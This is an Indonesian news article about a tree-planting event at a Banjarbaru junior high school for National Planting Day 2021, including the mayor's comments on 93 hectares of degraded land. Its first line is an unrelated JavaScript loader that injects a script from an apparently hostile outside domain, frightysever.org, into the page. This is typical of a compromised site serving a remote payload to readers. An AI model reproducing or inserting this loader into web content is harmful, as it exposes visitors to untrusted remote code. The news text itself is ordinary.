(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Tanam Pohon Penghijauan di Sekolah, Wali Kota Aditya: Masih Ada 93 Hektare Lahan Kritis!

KANALKALIMANTAN.COM, BANJARBARU – Memperingati Hari Menanam Nasional tahun 2021, Dinas Lingkungan Hidup (DLH) Kota Banjarbaru bekerjasama dengan Himpunan Penggiat Adiwiyata Indonesia (HPAI) Kota Banjarbaru melakukan penanaman pohon di SMP Negeri 5 Banjarbaru, Selasa (30/11/2021).

Kepala DLH Kota Banjarbaru, Sirajoni mengatakan, penanaman pohon di SMP Negeri 5 Banjarbaru ini merupakan rangkaian dari peringatan Hari Menanam Nasional yang sudah mereka lakukan mulai 22 November lalu.

DLH menyediakan 6500 bibit pohon dengan melibatkan semua elemen masyarakat.

“Hari ini kenapa di sekolah, kami ingin mengenalkan ke sekolah-sekolah tentang program pohon asuh baik penanaman dan pemeliharaannya,” ujarnya.

Masih kata Sirajoni, dengan didukung penuh oleh Wali Kota dan Sekdako Banjarbaru, sekolah yang berhasil merawat tanamannya akan diberikan reward dalam satu tahun kedepannya.

“Hal ini bertujuan untuk menumbuhkan rasa cinta anak-anak kepada lingkungan hidup di Kota Banjarbaru,” tandasnya.

Sementara itu Wali Kota Aditya Mufti Ariffin mengapresiasi langkah yang dilakukan DLH Kota Banjarbaru untuk melakukan penghijaun.

“Kami menyambut baik dengan pelaksanaan menanam hari ini, mudah-mudahan dengan menanam bisa memperbaiki keadaan lingkungan kita untuk menjadi lebih baik,” harapnya.

Diakui Aditya, di Banjarbaru masih ada 93 hektare lahan kritis, dengan pananaman ini diharapkan bisa mengurangi pengaruh dari perubahan iklim.

“Ini juga bentuk pencegahan kemungkinan terjadi bencana di Kota Banjarbaru,” harapnya

Terkait reward, Aditya menerangkan dirinya akan mempelajari tergantung dari proposal dan perencanaan dari Kepala DLH Kota Banjarbaru.(kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie